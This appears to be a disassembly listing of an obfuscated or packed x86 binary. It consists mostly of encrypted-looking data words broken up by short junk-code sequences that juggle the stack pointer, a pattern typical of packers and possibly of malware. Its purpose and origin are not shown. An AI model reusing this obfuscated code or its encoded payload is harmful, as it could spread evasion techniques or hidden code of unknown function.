		dd 1E177B59h, 32B17625h, 3A055537h, 0BCA90590h,	287C6FB6h
		dd 0B844D84Fh, 23CFDBB9h, 499C9F2Eh, 0E59A0C56h, 11975h
		dd 253CC500h, 0ACA94B47h, 504FD0CCh, 0C5DC6430h, 4A4FEBA7h
		dd 94AC052Eh, 1F8BE9E8h, 0A0FC9C89h, 2A660205h,	75EE8A89h
		dd 0E24C0C62h, 0C6987C72h, 0F8F9855Dh, 60670C98h, 0FE856300h
		dd 75FE8AFBh, 0FBACBD8Ah, 0EA6B8C59h, 0CECF067Bh, 3121AFE5h
		dd 96A10999h, 0C70D61F4h, 1D7C6CF7h, 0CD690392h, 0ECC259CCh
		dd 7C6C6AACh, 0CB3B8B38h, 0A6952679h, 0A0F19139h, 0EEAFCAEBh
		dd 0FE54B594h, 6D1494D0h, 3723C07Ch, 0BBF8898Ch, 0B0475E3Ah
		dd 6D149ADEh, 0F159267Ch, 0F7848521h, 7D47h, 7EB9DC00h
		dd 0DCB249DCh, 7624329Ch, 2EE74F28h, 49AEE297h,	0A8B518CAh
		dd 0C2565402h, 70077C73h, 72815A1Eh, 0B119667Ch, 5DEF6601h
		dd 7976DCD5h, 1A8D882Bh, 50E6FD86h, 0D8DF6430h,	83111BABh
		dd 0BC6E7C9Fh, 9B9E25CFh, 1006ADF9h, 90E09190h,	562130Eh
		dd 1A760784h, 6FF6879Ah, 4FF43CE3h, 8148005Eh, 0EB947C87h
		dd 11920E6Ah, 80EEAA04h, 0BDFA7C87h, 3DF4F3Ch, 34000000h
		dd 0FC85DA41h, 7F0494E5h, 0FC790B78h, 6AFC8CFDh, 0F6720E7Fh
		dd 4AF682F3h, 0CA6A0677h, 55EA86F7h, 0C96B3976h, 52B9BFCCh
		dd 0C281E289h, 4, 4BF57h, 0FA290000h, 2414875Fh, 4EC835Ch
		db 89h,	0Ch, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		sub	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		mov	[esp], ebp
		push	64EAC6Dh
		mov	ecx, [esp]
		add	esp, 4
		push	esp
		mov	ebp, [esp]
		add	esp, 4
		sub	esp, 4
		mov	[esp], ecx
		pop	dword ptr [ebp+8]
		mov	ebp, [esp]
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		jmp	loc_541331
; ---------------------------------------------------------------------------
		dw 0C187h
		dd 20796929h, 0E8136D71h, 0FDF7C896h, 0B07EB881h, 0C503064Eh
		dd 3F7CE0FFh, 85A85E9Eh, 10216472h, 7A8644F3h, 666D136Fh
		dd 2624515h, 0F8E721CAh, 0D35D57A4h, 4373524Ch,	4FFD530Ah
		dd 35251B77h, 38B1431h,	0E8124CD7h, 6B4442BCh, 63E66DAFh
		dd 0E6CD181Dh, 0E76771B1h, 8D8D3BACh, 64EB1C8h,	0D15958Bh
		dd 0EE90648h, 7F000000h, 0B5B3E6D2h, 0D2DF96A9h, 3B7A5886h
		dd 58D89DFh, 0FC064814h, 302585C7h, 715C0648h, 0BE660000h
		dd 0E38161E0h, 39E0B7C7h, 2AD985C7h, 648h, 5E90000h, 4A000000h
		dd 0CDAB1356h, 0E25B5FFh, 6A0648h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 140424h, 53430000h, 95FF71C3h, 6480E71h
		dd 1C35BD89h, 6A0648h, 92D95FFh, 0C08B0648h, 0D7792BEBh
		dd 302C6DC0h, 0DDB38E20h, 325E0C38h, 0DD7FCA4Dh, 45A8C02Ch
		dd 0BE553DC4h, 15DAB13Ch, 4B70AC4Ch, 0CB8BBC17h, 735290F1h
		dd 9E808h, 6E670000h, 0EF2AC73Dh, 3161AA80h, 48128995h
		dd 0BF665E06h, 0C681FE14h, 7378h, 561958Bh, 0B0B90648h
		dd 0E800001Ch, 0Fh, 97A40C7Eh, 64E0AC5Ch, 0AD1E8600h, 8BFB0CC3h
		dd 481699BDh, 36FF5F06h, 0AF1BD8Bh, 0E9580648h,	7, 0E356821h
		dd 819A3E78h, 0AB2594C0h, 48BA666Eh, 0A5E8817Ah, 81161AD0h
		dd 8F262EE8h, 6606897Ch, 836090BFh, 14E904EEh, 91000000h
		dd 55937217h, 26F904B4h, 21208993h, 3F99E28Eh, 49832E3Dh
		dd 19850Fh, 80560000h, 0E95B4BDBh, 1Eh,	82A580B0h, 0E3A2B923h
		dd 379C97E4h, 8B10848Bh, 0FF8CE9F9h, 0C9A1FFFFh, 0B302634Eh
		dd 10E86111h, 0C4000000h, 82A1EA9Bh, 0C1EA3B47h, 7D32C36h
		dd 0F46D35Dh, 68Ah, 0D9953100h,	5A064811h, 2011B52Bh, 0C2810648h
		dd 5DBFh, 1829B58Bh, 33B80648h,	0E9000017h, 6, 9D71B0E1h
		dd 32FF5F05h, 11E9h, 0F3905800h, 2DC2C694h, 5CCE6B4Dh
		dd 0ED6F24F5h, 80598FA2h, 0F18116DFh, 3C2B9669h, 7E8h
		dd 0DFC27800h, 0FCC8E56Eh, 10E9h, 0F7ADCA00h, 3B7C4F48h
		dd 4965D0C9h, 0DA1FD499h, 0F1815FB3h, 0AE5588Ch, 12899D29h
		dd 0F1810648h, 1FF4164Bh, 1800Fh, 89F90000h, 0FE90Ah, 0A6D40000h
		dd 71D8FAB6h, 5140ED35h, 0E0B5F879h, 4EA8397h, 0EE02E381h
		dd 0F482054h, 1D85h, 0ADB58900h, 0E906481Ch, 2Ah, 76E6EFE0h
		dd 0CFC1993h, 9392ABC2h, 0C1AFA075h, 0B70FBB81h, 0FF58E9FEh
		dd 196EFFFFh, 95B64BC1h, 0CC2E1CE1h, 0F9591FA9h, 0C08B18E1h
		dd 1299BD83h, 75000648h, 35BD8309h, 6480Dh, 53501974h
		dd 21B8C08Bh, 89000004h, 4829B985h, 649D8D06h, 0FF064AA4h
		dd 83585BD3h, 480D35BDh, 17740006h, 21B85350h, 89000004h
		dd 4829B985h, 539D8D06h, 0FF064AA1h, 8B585BD3h,	459D8BC0h
		dd 0C6064813h, 480FF985h, 52685606h, 0FF9CA8B8h, 4829A9B5h
		dd 60858D06h, 0FF064B7Fh, 68046AD0h, 1000h, 105DB5FFh
		dd 6A0648h, 0C085D0FFh,	0D850Fh, 0B80000h, 8D000000h, 4872868Dh
		dd 8BE1FF06h, 3C38BC8h,	0F8053C40h, 8B000000h, 0D3030C50h
		dd 1A31BD83h, 0F000648h, 0E84h,	319D8B00h, 8B06481Ah, 48063185h
		dd 51038906h, 0CD858D52h, 0FF064842h, 8BFA8BD0h, 8BD18BF1h
		dd 0C6A4F3C8h, 480FF985h, 39685606h, 0FFD41F6Dh, 4829A9B5h
		dd 60858D06h, 0FF064B7Fh, 800068D0h, 6A0000h, 8BD0FF52h
		dd 99BD83C0h, 64812h, 0BD830975h, 6480D35h, 50197400h
		dd 0B8C08B53h, 421h, 2FF98589h,	9D8D0648h, 64AA4CBh, 585BD3FFh
		dd 0D35BD83h, 74000648h, 0B8535017h, 421h, 2FF98589h, 9D8D0648h
		dd 64AA16Ch, 585BD3FFh,	9D8DC08Bh, 6481A31h, 0C00B038Bh
		dd 7840Fh, 38B0000h, 89045B8Bh,	4B41B818h, 0AE80000h, 0A000000h
		dd 1CA90BE1h, 0F4D7CD56h, 830F5731h, 0
a_S		db '^_`è',0Dh,0
		align 4
		dd 135AAC4Eh, 9B96CD2Fh, 0CB2411ACh, 0BE9D8h, 8F3D0000h
		dd 71688D30h, 86BB725h,	81615948h, 6814C7h, 0B70F6000h
		dd 0E08166C0h, 686132DAh, 19CCh, 692EB966h, 0DE95Bh, 9CA20000h
		dd 7B7C0F50h, 0AC07ACD1h, 0FF024BDDh, 58595337h, 5E9h
		dd 80396000h, 0E8819D94h, 3CB311F9h, 185E881h, 8B662850h
		dd 0E4C081CBh, 6669454Ch, 789D68Bh, 48F0Fh, 0BA660000h
		dd 0EF817799h, 8764B9Dh, 25D28052h, 99C7815Ah, 0E808764Bh
		dd 9, 3ADBCCE0h, 0B95100C5h, 0EB835E90h, 1B850F01h, 0BE000000h
		dd 1AC6DCA7h, 1EE9h, 88B65400h,	0CDB06DFCh, 0AA270F81h
		dd 0A0417F9Eh, 0D18B92BBh, 0FFFF82E9h, 0E1B23CFFh, 55152623h
		dd 5E75FDEDh, 0A476F67Ah, 0BC56E669h, 8584FD49h, 0ABFAFD20h
		dd 0BC3BFD20h, 3599FD20h, 0F08BFD20h, 1361FD20h, 624EFD20h
		dd 0DA2FFD20h, 861AFD20h, 0AB41FD20h, 0BC1EFD20h, 3673FD20h
		dd 0F1DCFD20h, 13BDFD20h, 629EFD20h, 0D85AFD20h, 85AEFD20h
		dd 259DFD20h, 2295358Ah, 4A76D6A2h, 0BD5CDE71h,	5A5CF44Bh
		dd 2775FD7Ah, 9775F572h, 0CB74FD79h, 0ED73FD78h, 0F374F57Dh
		dd 7874FC7Bh, 0BC75FC7Bh, 5E75FD7Ah, 3C76FD7Ah,	0D475A490h
		dd 0CB75A490h, 0E475FD7Ah, 0F374FC7Bh, 9074FC7Bh, 0BC75F8B2h
		dd 40F0701Ah, 0A673B3C0h, 0D9C3A8FFh, 0FFF0707Ch, 6C73B3C0h
		dd 0BCC3E8FFh, 0BF0707Ch, 3573B3C0h, 10C3ACFFh,	0FDF0707Ch
		dd 1E73B3C3h, 85C3E4FFh, 74F0707Ch, 7B73B3C3h, 37C3E0FFh
		dd 93F0707Ch, 0D773B3C2h, 61C3DCFFh, 0D6F0707Ch, 4273B3C2h
		dd 0ABC3D8FFh, 0A5F0707Ch, 0F073B3C2h, 0F2C3D4FFh, 0ECF0707Ch
		dd 0A673B3C2h, 0D9C3C8FFh, 0B5F0707Ch, 6C73B3C2h, 0BCC3D0FFh
		dd 0E4F0707Ch, 3573B3C2h, 10C3CCFFh, 9DF0707Ch,	1E73B3C2h
		dd 85C3C8FFh, 9F0707Ch,	7B73B3C2h, 37C3B8FFh, 0B7F0707Ch
		dd 0D773B3C3h, 61C3B4FFh, 0B9F0707Ch, 4273B3C3h, 0ABC3B0FFh
		dd 85F0707Ch, 0F073B3C3h, 0F2C3C4FFh, 0F0F0707Ch, 0A673B3C3h
		dd 0D9C3C0FFh, 82F0707Ch, 6C73B3C0h, 0BCC3BCFFh, 50F0767Ch
		dd 3573B56Ah, 10C373FFh, 0CEF0767Ch, 1E73B576h,	85C36FFFh
		dd 0B0B69C7Ch, 0F29D11F1h, 2375FD7Ah, 0BD717FBh, 0D525FB34h
		dd 0ADFDF53Fh, 913B4BF7h, 0CFB73422h, 0B723AC7Ah, 1A20AD29h
		dd 7975FD7Ah, 7F987C27h, 0A073B3CDh, 61C3E9FFh,	83C87D7Ch
		dd 0CF73B3CCh, 0E4C5B409h, 0F9B54B75h, 863589BAh, 0F2C36FEFh
		dd 96FEBD7Ch, 2F7A452Bh, 28AFD7Ah, 0CD3B4BE8h, 536048F7h
		dd 0C6F8FB34h, 4B9D50FCh, 0CF75FD7Eh, 5E76456Fh, 0BA8AFD7Ah
		dd 913B4BE8h, 7D6048F7h, 0D1F8FB34h, 228A50FCh,	87BC1F23h
		dd 0F2C3E9F7h, 52DA07Ch, 0EC2CA320h, 97776D92h,	0C1CD4D7Ah
		dd 708A5779h, 0F43B4BF4h, 79D3ED1h, 0DA75FD78h,	54CD9BC2h
		dd 0D0DE9B59h, 0D9C373EFh, 8DE9B7Ch, 0E5779592h, 0F3360B7Ah
		dd 866E8872h, 0F2C373EFh, 54C54D7Ch, 0BA8AAD79h, 913B4BF4h
		dd 2BF69B20h, 277E9B7Eh, 1AB6561Ch, 7975FF6Bh, 0BE4E1529h
		dd 652FFD7Ah, 0A57B89A0h, 94913D59h, 7F5DF70h, 83FE4DBAh
		dd 9D3ED1h, 2A75FD7Bh, 0BC77E192h, 844EA77Ah, 49C5120Eh
		dd 7FA916D0h, 0CB75FCA7h, 0ED74BE8Ch, 1A26D30Fh, 7975FF7Bh
		dd 0BD360B20h, 65548872h, 0A56889A0h, 94913D59h, 7F5DF70h
		dd 0B5FF4DBAh, 44FB6885h, 1F2FFB34h, 0DA51FD5Fh, 0F5133F71h
		dd 85E94DB9h, 9774BD92h, 61F44D7Ah, 0E5743592h,	0F22D157Ah
		dd 91DEFD7Ah, 0BC75FC57h, 9DDF60CAh, 0C7DF61CAh, 9775FC5Bh
		dd 4A13451Ch, 439D561Ch, 1A75FD7Bh, 7975FD4Ch, 0B69D561Ch
		dd 0EE75FD7Bh, 9FB657E7h, 699D57E6h, 2375FD7Ah,	0E575FCF3h
		dd 0FA74BE8Ch, 0F9C5F20Fh, 0BC6515D0h, 0DEDFFD7Ah, 487DF99Eh
		dd 97AA1584h, 56C5FD7Ah, 0E2CD3ED0h, 0D75FD7Ah,	37C36FEFh
		dd 0E5C0707Ch, 5D73B3CCh, 2C7F518Ah, 19E002D0h,	873B3CCh
		dd 0E574E592h, 0F8254D7Ah, 4B9D5779h, 548A0284h, 5E75FC43h
		dd 2C7FA5CAh, 0C7C53ED0h, 61274DD0h, 1A8BE192h,	0FDCD9B85h
		dd 91DE9B4Bh, 438A036Bh, 0EEDFA7CAh, 9FB65722h,	3C225792h
		dd 0CB750C92h, 22FEA77Ah, 1AF63F51h, 9177747Eh,	438A008Bh
		dd 5E750592h, 252D4D7Ah, 69B65779h, 85C3F6FFh, 0EEC87D7Ch
		dd 0F373B3CCh, 0FCF8EC0Fh, 0BA3B4B07h, 5C61152Ah, 1B9DFD7Ah
		dd 2775FD78h, 759D571Ah, 0D8A0287h, 0D8A00C3h, 87DF9CCAh
		dd 0F2C3F6F7h, 55C87D7Ch, 2F73B3CCh, 12F8F10Fh,	0CD3B4B07h
		dd 0E4DE152Ah, 4AB6FD7Ah, 7975FD7Eh, 0AE76885h,	0C3F8FB34h
		dd 293B47A0h, 3D6DF9F0h, 619C4DB9h, 8E9D562Dh, 0A875FD7Ah
		dd 0BB5E3AF1h, 357115F9h, 0CB8A3E78h, 293B4BF4h, 96514ACEh
		dd 74C1FF0Eh, 4E13F2CAh, 0F275C992h, 279DAE7Ah,	0E675FD7Ah
		dd 0BEB5FEF0h, 25B5F179h, 68B65778h, 85C373EFh,	0EA917D7Ch
		dd 42F539FAh, 2EDE9B75h, 415A15D1h, 0D52F0285h,	0ACB7D6BDh
		dd 95FCF992h, 0CB7345B9h, 708AFD7Ah, 0F43B4BE8h, 0CF0460F7h
		dd 0A0F8FB34h, 4ECD3E39h, 0D075FD7Ah, 0D9C36FEFh, 0CEB57E7Ch
		dd 1A8935F1h, 0BCC373EFh, 8E97577Ch, 43BE15B9h,	1DFF0285h
		dd 5A72D97Bh, 7F76778Eh, 0CB75FC6Ch, 1DB61608h,	0A7890883h
		dd 0BDF611F1h, 0BC9D9D86h, 475FD7Ah, 959F17FBh,	0EAFCFB34h
		dd 46CF7D86h, 0E573B3CCh, 0F2EC7975h, 73CDFD7Ah, 4375FD7Ah
		dd 10C36FE8h, 0ADFCBD7Ch, 913B4BECh, 79F835F1h,	0E33B46C4h
		dd 44FB6F85h, 7FFDFB34h, 4801F3Ch, 5E75FD6Dh, 99E37F79h
		dd 1A35FB34h, 85CE4FE0h, 0E1B67E7Ch, 4B22FEF3h,	7975FD64h
		dd 0AE37779h, 0ECF8FB34h, 293B46DAh, 2F2B5989h,	0CB75FD72h
		dd 53E76F85h, 0AF6FB34h, 7185897Eh, 0BC72447Ch,	5A7DFD7Ah
		dd 0F7C3F24Bh, 2E761EBBh, 0CB75FD74h, 5C44E172h, 0F275FD76h
		dd 0C044F972h, 0BC75FD61h, 0E744F972h, 2F75FD66h, 7F44F972h
		dd 348A015Bh, 848980F3h, 3B8980F1h, 7F9DADB9h, 9C75FD7Ah
		dd 7A110222h, 6BFCA58Eh, 16E9055Eh, 0B389D93Eh,	7867C92Ch
		dd 0F2B6AD3Ah, 7975FD7Ah, 0BC75FD7Ah, 0B2FEA87Ah, 2F75151Ah
		dd 162FFD7Ah, 85CE2C90h, 7FCF707Ch, 7973B3CCh, 71CCF50Fh
		dd 4F75FD7Ah, 9CBC9CDEh, 0A226FD7Eh, 0D9C367E7h, 0D3497D7Ch
		dd 0BE71887Bh, 0A9771683h, 0F2203E82h, 0BC9D9D96h, 475FD7Ah
		dd 937F17FBh, 25F8FB34h, 0CD3B4BE0h, 5C7D80F1h,	0F275FD72h
		dd 0B0145989h, 0DC75F9B8h, 0E8EF40F7h, 0EF46FB34h, 9775F5C3h
		dd 0AADF0E7Ah, 58F89DB9h, 0F43B4BE0h, 7874C2FBh, 0B000FC7Bh
		dd 5F7182FBh, 5A74FC7Bh, 969E0479h, 0ABB69C82h,	53EF40F7h
		dd 0F3CDFB34h, 0C075FD7Ah, 0BC75FD72h, 9D145789h, 0EFFE3DF1h
		dd 21D278F7h, 0D08AFB34h, 16EBCA8Bh, 5 dup(0)
		dd 3E40101h, 64E0000h, 0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 19h, 47C35747h, 0B2C4EC8h,	95BD8B0Ah, 5006482Bh
		dd 8C0Fh, 4890000h, 8D8B5224h, 6482765h, 8B006A5Fh, 480F29BDh
		dd 8B006A06h, 480B99BDh, 7F858D06h, 0F064EBDh, 0C8Fh, 68A0F00h
		dd 29000000h, 4832A985h, 0BA665006h, 489EBEBh, 6AFC24h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 17h, 3AC35343h
		dd 0E9F8C9B3h, 8, 5B7F58F1h, 6F54737Eh,	95FF006Ah, 6482B2Dh
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 18h, 0EAC35545h
		dd 6B03805Eh, 0F5677DBFh, 63EE95Bh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 160424h, 57470000h, 37F8DBC3h
		dd 0E8h, 0ED815D00h, 64EBD84h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 5BC35343h, 6A9E3Bh,	3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0E626AC3h, 0B9128FAFh, 1554CD46h, 2FA8B668h,	24348128h
		dd 282FA716h, 0FF2FCF80h, 48092D95h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8BF9076Fh
		dd 48098DBDh, 738DBF06h, 0B58D4C80h, 64EBC7Bh, 2E83B966h
		dd 81E7E381h, 6C73167h,	6D676552h, 0D800Fh, 8E90000h, 5A000000h
		dd 0D7627D50h, 0C7F87003h, 6E6F0446h, 6A6C63h, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 0BEEB57C3h, 0DBA0217Ah, 3CF697B9h, 846C762h,	737361h
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 5AC35343h
		dd 5D858996h, 6A064815h, 50006A00h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1B04h, 0C3504000h, 0A5FDF307h, 8DF15EBDh
		dd 0CCDBD29h, 0BA660648h, 858DD81Ah, 64EBC7Bh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Ch, 8DC35545h, 8C89C762h
		dd 1E794F6Bh, 9E8h, 0D7305900h,	2AE219C1h, 0CE9447Ch, 0B3000000h
		dd 0F1A579D4h, 2324692Ah, 59105CFBh, 0E2E9B950h, 4896176h
		dd 57006A24h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1C04h
		dd 0C3574700h, 3816E60Fh, 0DF1DE1Fh, 0DD95FFEEh, 6A06481Ch
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1A042444h
		dd 42000000h, 0EAA7C352h, 0DCA87175h, 559D3379h, 0B064810h
		dd 36840FC0h, 0F000000h, 68Bh, 55952900h, 0E9064813h, 3B3h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 14h, 4C35747h
		dd 137526B9h, 3CBF6619h, 2C6F6842h, 0DB9D56Dh, 815BDFF8h
		dd 0D4BD2404h, 0CF802A92h, 2D95FFF5h, 6A064809h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 14042444h, 41000000h
		dd 8DEBC351h, 4EBC7BB5h, 0B5BD8B06h, 0C7064804h, 34383106h
		dd 50006A36h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1B04h
		dd 0C3504000h, 4D9BFDA1h, 7BE25099h, 3009CB81h,	0EA8059DBh
		dd 446C7CEh, 31342D37h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 18h, 89C35747h, 0CD1A7F11h, 14E9h,	0FDDA0900h
		dd 0E84259C6h, 0A27C082Fh, 0D139C3C8h, 51147EC2h, 846C7E5h
		dd 0
		dd 0E855006Ah, 3, 5DC35D20h, 4246C89h, 4244481h, 1Dh, 0B4C35545h
		dd 7DBC91F2h, 0DC4607B6h, 3860FBFh, 0F000000h, 6AFFB7h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 0ACC35646h
		dd 858DB7A4h, 64EBC7Bh,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 18h, 0B8C35545h, 1EDE222Bh, 5E99529h, 60900648h
		dd 4800Fh, 0B8660000h, 0D38B8AA1h, 0CE85061h, 7C000000h
		dd 62B01C43h, 0BA5A5DCCh, 5321991Ch, 310F5250h,	5B5B585Ah
		dd 57006A90h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1804h
		dd 0C3574700h, 0F345E1FCh, 0A59D293Bh, 89064807h, 482EA58Dh
		dd 0DD95FF06h, 6A06481Ch, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 18042444h, 42000000h, 6B8EC352h, 89CCF251h
		dd 482EA9B5h, 12E906h, 2D340000h, 0EA36D7FFh, 9AE16BBEh
		dd 8A266E4Eh, 359F5E63h, 840FC00Bh, 0Eh, 0E9FBBF0Fh, 1AFh
		dd 27E18D89h, 9680648h,	57601602h, 0AE9h, 1AE5B000h, 933DA21Bh
		dd 5994EE0Eh, 25243481h, 6A601603h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 86D9C353h
		dd 0F1F1DAD5h, 0FFD98BDEh, 48092D95h, 0F9958906h, 8D064806h
		dd 4EBC7BB5h, 6BCA8006h, 694606C7h, 6A656Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1D0424h, 55450000h, 5D1772C3h
		dd 72E3B0A3h, 0B7B81727h, 446C72Ah, 636E6F6Dh, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 1Ch, 26C35343h, 92444E10h
		dd 4ECE8D66h, 277DB589h, 46C70648h, 73616C08h, 56006A73h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1D04h, 0C3564600h
		dd 5CECBFE4h, 8EB9B7D3h, 0BF66D76Ah, 46C777FDh,	0Ch, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1C04h, 0C3524200h
		dd 0F8BCF6CBh, 0CC76F1Eh, 6E8DFh, 64040000h, 8C43ECF4h
		dd 19B98D8Bh, 6A5B0648h, 51006A00h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1D04h, 0C3514100h, 0FFC44F00h, 0F838E924h
		dd 0EF80E0EAh, 7B858D43h, 81064EBCh, 4134A8C7h,	0B6BB5041h
		dd 890DEBBAh, 6A2404h, 3E851h, 59200000h, 4C8959C3h, 44810424h
		dd 190424h, 51410000h, 13084CC3h, 0FA28B15h, 95FFC8BFh
		dd 6481CDDh, 4FD9D89h, 0C00B0648h, 0C840Fh, 0F5B90000h
		dd 0E91398C0h, 7, 51E9DE8Bh, 8DFFFFFAh,	487286B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 9DC6F964h, 3A88D474h, 8D035B74h, 6481391h, 4DFBE4B9h
		dd 0B820h, 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 140424h, 57470000h, 816604C3h, 0FFAF01C9h, 59D29E6h
		dd 60064810h, 43ECE2BAh, 59B58B54h, 61064812h, 0AE8C18Bh
		dd 0D9000000h, 43ACADB1h, 7DF0ACCCh, 0CE9C2h, 0B7920000h
		dd 0F07AB77Eh, 8481C01Bh, 295FF026h, 4830F5BDh,	6C78106h
		dd 0F000076h, 680h, 959D8B00h, 6806482Bh, 0
		dd 5AF6BF0Fh, 9E98589h,	0C8B0648h, 0DBB70F17h, 0EE18C181h
		dd 0DE90ED4h, 6D000000h, 0C09EA5C4h, 58F021AAh,	1B090E34h
		dd 9312F181h, 8B605B73h, 8161F8D9h, 6D8CA3E9h, 170C8966h
		dd 939B58Bh, 66600648h,	50BC69B8h, 1859858Bh, 615F0648h
		dd 0CE05EA81h, 0DE876A1h, 69000000h, 2FDD286Ah,	36A40D77h
		dd 2474AD89h, 4918D89h,	815E0648h, 0A1CE01C2h, 0AD858B76h
		dd 81064830h, 0FF8AE8FAh, 18850FFFh, 0E9000000h, 2Dh, 0B7C1CD70h
		dd 90AEEB67h, 818E1E49h, 9783CD4Ah, 297C3335h, 480EAD85h
		dd 0FF60E906h, 7517FFFFh, 1400621Ch, 0C8CB3443h, 0FB487312h
		dd 0E99D8DC3h, 0B806480Bh, 144Ch, 6F58589h, 0E80648h, 58000000h
		dd 0D05h, 0E9038900h, 144Ch, 513h dup(0)
		dd 9E8h, 0E8886200h, 0D531D0B5h, 0F280492Bh, 0C2815841h
		dd 2C1728CDh, 74F3C081h, 680000h, 8B000000h, 4833158Dh
		dd 12E95B06h, 0E6000000h, 47FA1FB4h, 0F8AD4563h, 0ED632F89h
		dd 24983F4Eh, 18348BA0h, 0F681EF8Ah, 6FEDD07Eh,	1B19BD8Bh
		dd 0F6810648h, 7DF234C7h, 0F681FE8Bh, 59A93B15h, 8956FB8Bh
		dd 4828098Dh, 18048F06h, 81AFE180h, 6104DFD7h, 0A7EB8137h
		dd 0B52607Eh, 480F09BDh, 0A3C38106h, 0B52607Eh,	4815A18Dh
		dd 0CCFB8106h, 0FFFFF8Bh, 1985h, 418D8900h, 0E906481Ch
		dd 24h,	5ED9C838h, 0A6A076B5h, 0A58CE38Ah, 958B0396h, 6481B91h
		dd 0FFFF84E9h, 0EC52CBFFh, 17CA55E1h, 0EDB797E5h, 2AE9h
		dd 2404C700h, 0
		dd 0E8h, 0ED815D00h, 64ED9E0h, 424448Bh, 33058589h, 0B80648h
		dd 8D000000h, 484E808Dh, 0B8E1FF06h, 6754h, 3BE9h, 0BD8B6000h
		dd 6483259h, 3304EF83h,	0BBC18BC9h, 0EDB88320h,	0BE04C783h
		dd 8, 0D21BE8D1h, 0C233D323h, 0F1850F4Eh, 41FFFFFFh, 0F9810789h
		dd 100h, 0FFD3820Fh, 0C361FFFFh, 0CAFEC88Bh, 0A80BD268h
		dd 8A4F5ACFh, 0A80BD2B7h, 75EAD5ABh, 0A80BD30Fh, 8A4F5BF5h
		dd 57AE5DBAh, 8A4F5BA2h, 0A80BD07Fh, 75EAD5ABh,	0A80BD0C6h
		dd 8A4F5890h, 0A80BD140h, 8A4F5912h, 0A80BD13Ah, 75EAD5ABh
		dd 0D8D42F25h, 313648Fh, 0E68BE5C0h, 5490A752h,	2157EC9Eh
		dd 0C4CF61D1h, 9DD42F43h, 3136488h, 0E68BEDC0h,	790A752h
		dd 2157EC99h, 0C4CF7DD1h, 4CD42F43h, 3136488h, 0E68BF9C0h
		dd 0B390A752h, 2157EC98h, 0C4CF49D1h, 0D5D42F43h, 3136489h
		dd 0E68BC5C0h, 4C90A752h, 2157EC98h, 0C4CF45D1h, 0AFD42F43h
		dd 313648Ah, 0E68BD1C0h, 0C290A752h, 2157EC9Bh,	0C4CF5DD1h
		dd 21D42F43h, 313648Ah,	0E68BD9C0h, 4890A752h, 2157EC9Bh
		dd 0C4CF55D1h, 12B8C343h, 0DF152A50h, 6CD24ECEh, 8AFD4AA8h
		dd 0F251A245h, 513FC0D5h, 0ED96A40Bh, 8A152AA8h, 0A0242945h
		dd 0B496E367h, 0A1D5ADBAh, 0CB152A54h, 415564C6h, 75EAD5BAh
		dd 3AAE63CEh, 8C5D26B5h, 0AB534284h, 0FFEA2211h, 0A4245D55h
		dd 0CF9C3AABh, 0EDDAC3B9h, 86D7E3A8h, 44DAF745h, 0EAE9EED7h
		dd 2359D7CEh, 0CFD22629h, 0A851A2B9h, 62AD6C54h, 351A241h
		dd 27BFEA66h, 10DB2FEEh, 751364E3h, 2011294h, 3DADA0D9h
		dd 79AEA40Bh, 0AE51A1ECh, 22DC0941h, 8C5B9DECh,	103773BAh
		dd 21732ADFh, 1FE928C8h, 5BEA2C1Ah, 8C152BFDh, 988150h
		dd 0AE1F15FDh, 0D2A5FBABh, 0A42C89EFh, 0EBE957DDh, 61ADE7CEh
		dd 0DF152296h, 6CD24ECEh, 8AFD4AA8h, 0F251A245h, 51FFC0D5h
		dd 0DDDAA40Bh, 8668A15Ch, 0A8ADE782h, 0CC152A54h, 0B87830BAh
		dd 529E2C1Ch, 83FC69CEh, 0E2A5B997h, 0F9FA31EFh, 3DADA0D9h
		dd 79AEA40Bh, 20949A0Dh, 8C551A23h, 21848132h, 215DDF6Eh
		dd 174D629h, 6A985E00h,	1402A5Ch, 549521A9h, 8A15C234h
		dd 290BA245h, 0C4C96BBEh, 0A0242943h, 4D1957DFh, 0A8515E00h
		dd 75532A54h, 0E0418BD7h, 19CDA152h, 9BFC69CEh,	0E2A5B997h
		dd 0F9FA31EFh, 3DADA0D9h, 79AEA40Bh, 20949A0Dh,	8C651A23h
